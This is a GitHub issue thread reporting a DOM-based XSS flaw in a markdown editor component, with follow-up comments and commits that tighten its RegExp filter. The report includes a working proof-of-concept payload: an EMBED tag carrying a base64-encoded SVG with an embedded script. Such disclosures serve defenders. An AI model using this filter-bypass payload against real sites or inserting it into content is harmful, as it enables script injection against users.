Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

XSS vulnerability in <EMBED> label,SVG include attack vector. #662

Open
YYHYlh opened this issue Mar 7, 2019 · 2 comments
Open

XSS vulnerability in <EMBED> label,SVG include attack vector. #662

YYHYlh opened this issue Mar 7, 2019 · 2 comments

Comments

@YYHYlh
Copy link

YYHYlh commented Mar 7, 2019 •
edited
Loading

This label and attack vector will cause dom-based XSS.
if you type
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>，the xss vulnerability will be triggered.And other markdown online editors that use this component are also affected by this vulnerability,like MdEditor.
image
@alvachien
Copy link

+1

@JohnWang1023
Copy link

Are there any updates on this and will this be fixed?

alromh87 added a commit to alromh87/editor.md that referenced this issue Sep 10, 2020
@alromh87
Improve RegExp filter
f5cb82c 
fixes #pandao#612
fixes #pandao#662
fixes #pandao#697
fixes #pandao#700
fixes #pandao#701
fixes #pandao#709
fixes #pandao#715
fixes #pandao#764
fixes #pandao#816

### Probably:
fixes #pandao#307
fixes #pandao#560
alromh87 added a commit to alromh87/editor.md that referenced this issue Sep 10, 2020
@alromh87
Improve RegExp filter
067619e 
fixes #pandao#612
fixes #pandao#662
fixes #pandao#697
fixes #pandao#700
fixes #pandao#701
fixes #pandao#709
fixes #pandao#715
fixes #pandao#764
fixes #pandao#816

fixes #pandao#307
fixes #pandao#560
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@JohnWang1023 @alvachien @YYHYlh